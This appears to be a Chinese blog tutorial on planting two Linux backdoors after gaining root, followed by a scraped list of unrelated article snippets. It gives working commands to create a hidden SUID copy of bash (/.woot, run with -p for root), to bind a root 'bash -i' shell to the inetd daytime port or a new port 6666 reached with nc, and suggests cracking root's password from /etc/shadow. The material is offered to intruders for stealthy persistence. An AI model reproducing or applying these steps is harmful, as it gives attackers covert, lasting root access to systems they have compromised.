前提: 
你现在已经是root用户, 想留一个后门以便日后再一次进入。

系统环境: 

1 dawg:~# uname -a
2 Linux dawg 2.4.20-1-386 #3 Sat Mar 22 12:11:40 EST 2003 i686 GNU/Linux

1. SUID shell

关于SUID位的知识,请点这里
首先, 先切换成为root用户,并执行以下的命令:

1 dawg:~# cp /bin/bash /.woot
2 dawg:~# chmod 4755 /.woot
3 dawg:~# ls -al /.woot
4 -rwsr-xr-x 1 root root 690668 Jul 24 17:14 /.woot

当然, 你也可以起其他更具备隐藏性的名字,我想猥琐并机智的你,肯定能想出很多好的名字的。文件前面的那一点也不是必要的,只是为了隐藏文件( 在文件名的最前面加上“.”,就可以在任意文件目录下进行隐藏) .

现在,做为一个普通用户,我们来启用这个后门:

1 fw@dawg:~$ id
2 uid=1000(fw) gid=1000(fw) groups=1000(fw)
3 fw@dawg:~$ /.woot
4 .woot-2.05b$ id
5 uid=1000(fw) gid=1000(fw) groups=1000(fw)
6 .woot-2.05b$

法克!为什么不行呢?

因为 bash2 针对 suid有一些护卫的措施. 但这也不是不可破的:

1 .woot-2.05b$ /.woot -p
2 .woot-2.05b# id
3 uid=1000(fw) gid=1000(fw) euid=0(root) groups=1000(fw)

使用-p参数来获取一个root shell. 这个euid的意思是 effective user id(关于这些ID的知识,可以戳这里

这里要特别注意的是,作为一个普通用户执行这个SUID shell时,一定要使用全路径

小知识:
如何查找那些具有 SUID 的文件:

1 dawg:~# find / -perm +4000 -ls

这时就会返回具有SUID位的文件啦。

2. 远程后门:利用 /etc/inetd.conf

我们使用vi来修改 /etc/inetd.conf 文件

原文件:

1 #chargen dgram udp wait root internal
2 #discard stream tcp nowait root internal
3 #discard dgram udp wait root internal
4 #daytime stream tcp nowait root internal

修改为:

1 #discard stream tcp nowait root internal
2 #discard dgram udp wait root internal
3 daytime stream tcp nowait root /bin/bash bash -i

开启inetd:

1 dawg:~#  inetd

如果要强制重启inetd:

1 dawg:~# ps -ef | grep inetd
2 root 362 1 0 Jul22 ? 00:00:00 /usr/sbin/inetd
3 root 13769 13643 0 17:51 pts/1 00:00:00 grep inetd
4 dawg:~# kill -HUP 362

现在我们就可以用nc来搞定:

01 C:tools<nc -vv 192.168.1.77 13
02 192.168.1.77: inverse host lookup failed: h_errno 11004: NO_DATA
03 (UNKNOWN) [192.168.1.77] 13 (daytime) open
04  
05 bash: no job control in this shell
06 bash-2.05b# bash-2.05b#
07 bash-2.05b# id
08 uid=0(root) gid=0(root) groups=0(root)
09 bash-2.05b# uname -a
10 Linux dawg 2.4.20-1-386 #3 Sat Mar 22 12:11:40 EST 2003 i686 GNU/Linux

小贴士:

我们来一招更厉害的:

我们可以修改/etc/services文件,加入以下的东西:

1 woot 6666/tcp  #evil backdoor service

然后修改/etc/inetd.conf  :

1 woot stream tcp nowait root /bin/bash bash -i

我们可以修改成一些常见的端口,以实现隐藏。

其实 /etc/shadow文件,爆破root的密码才最保险啊!

LINUX的两种后门总结(suid shell与inetd)的更多相关文章

  1. linux 的 两种磁盘扩容

    当LVM分区空间不足的时候,可以进行扩容.主要的扩容方法有两种: 通过空余的磁盘进行扩容,这个方法比较简单,不会对原有数据有影响.将其他LVM分区空间取出一部分给需要扩容的LVM分区.下面就分别具体介 ...

  2. Linux上两种网络连接方式

    模式一:NAT方式好处:路由器更换,或者交换机更换,网络仍然可以使用,所用使用最多 准备工作: 查看VMware服务器启动情况,五个全开模式 vmnet8开启模式 1 配置VMware交换机的ip地址 ...

  3. [ 总结 ] Linux下两种常用的双网卡绑定

    1. mode=0 (round-robin) 链路聚合:将两个或者更多数据信道结合成一个单一的信道,该信道以一个更高带宽的逻辑链路出现,链路聚合一般用来连接一个或多个带宽需求量大的设备,链路聚合是指 ...

  4. 两种“新型”的javaweb后门(jspx和Java Logger)

    利用这个可以突破st2下   强制jsp跳转login.jsp 利用jspx解决jsp后缀被限制拿shell - Hack Blog | 黑客博客http://www.hackblog.cn/post ...

  5. Linux下安装mysql(yum和源码编译两种方式)

    这里介绍Linux下两种安装mysql的方式:yum安装和源码编译安装. 1. yum安装 (1)首先查看centos自带的mysql是否被安装: # yum list installed |grep ...

  6. Linux系统中存储设备的两种表示方法

    转:https://blog.csdn.net/holybin/article/details/38637381 一.对于IDE接口的硬盘的两种表示方法: 1.IDE接口硬盘,对于整块硬盘的两种表示方 ...

  7. Linux中的两种守护进程stand alone和xinetd

    Linux中的两种守护进程stand alone和xinetd --http://www.cnblogs.com/itech/archive/2010/12/27/1914846.html#top 一 ...

  8. Linux安装MySQL的两种方法

    转载:http://blog.csdn.net/superchanon/article/details/8546254/ 1.       运行平台:CentOS 6.3 x86_64,基本等同于RH ...

  9. 云服务器 ECS Linux 服务器修改时区的两种方式

    在云服务器 ECS Linux 系统中,以 Centos6.5 为例,可以通过如下两种方式,修改系统时区: 可以使用命令 tzselect,修改时区.操作示例: [root@localhost ~]# ...

随机推荐

  1. GEOS库在windows中的编译和测试(vs2012)

    版本:vs2012, geos3.5 一.下载和编译 这类的文章比较,不再具体细说,可以参考 http://blog.csdn.net/wangqinghao/article/details/8201 ...

  2. 《深入理解计算机系统》 Chapter 7 读书笔记

    <深入理解计算机系统>Chapter 7 读书笔记 链接是将各种代码和数据部分收集起来并组合成为一个单一文件的过程,这个文件可被加载(货被拷贝)到存储器并执行. 链接的时机 编译时,也就是 ...

  3. Jmeter测试webocket协议

    Jmeter本身不支持websocket协议的,所以需要安装第三方的插件还有6个依赖包. 首先,我们需要准备Jmeter的WebSocket协议的支持插件: JMeterWebSocketSample ...

  4. android软键盘的一些控制 转来的,格式有点乱

    "EditText + Button"  形成一个 "输入+按键响应" 的案例在android编程中是最常见不过的了. 但还有一些细节需要注意: 在EditTe ...

  5. 让C#开发更简单,抽象增删改

    相信经常做一些MS,CRM 项目的童鞋非常有体会,大部分时间都是在复制和粘贴,大部分项目框架都是建一个三层,首先是DAL建一些增删改查,然后呢是BLL业务层再建一些增删改查,然后UI层再调用增删改查, ...

  6. springmore-让编程更容易

    这是我多年项目的总结,并将其抽象出来,形成一个开源的项目 部分借鉴springside,将更多的实践总结进来 基于spring+ibatis+springMVC springmore-core专注于一 ...

  7. 【BZOJ1007】【HNOI2008】水平可见直线(斜率排序+单调栈)

    1007: [HNOI2008]水平可见直线 Time Limit: 1 Sec  Memory Limit: 162 MBSubmit: 2605  Solved: 914[Submit][Stat ...

  8. AngularJS开发指南13:AngularJS的过滤器详解

    AngularJS过滤器是用来格式化输出数据的.除了格式化数据,过滤器还能修改DOM.这使得过滤器通常用来做些如“适时的给输出加入CSS样式”等工作. 比如,你可能有些数据在输出之前需要根据进行本地化 ...

  9. 自己在OC考试中的试题

      Objective-C考试 [关闭] ※ 选择题(共40题,每题2分) 1. 以下说法正确的是________. 答案:(C) A.alloc,retain,release,dealloc都会使对 ...

  10. 每天一个linux命令(52):scp命令

    scp 是secure copy的简写,用于在Linux下进行远程拷贝文件的命令,和它类似的命令有cp,不过cp只是在本机进行拷贝不能跨服务器,而且 scp传输是加密的.可能会稍微影响一下速度.当你服 ...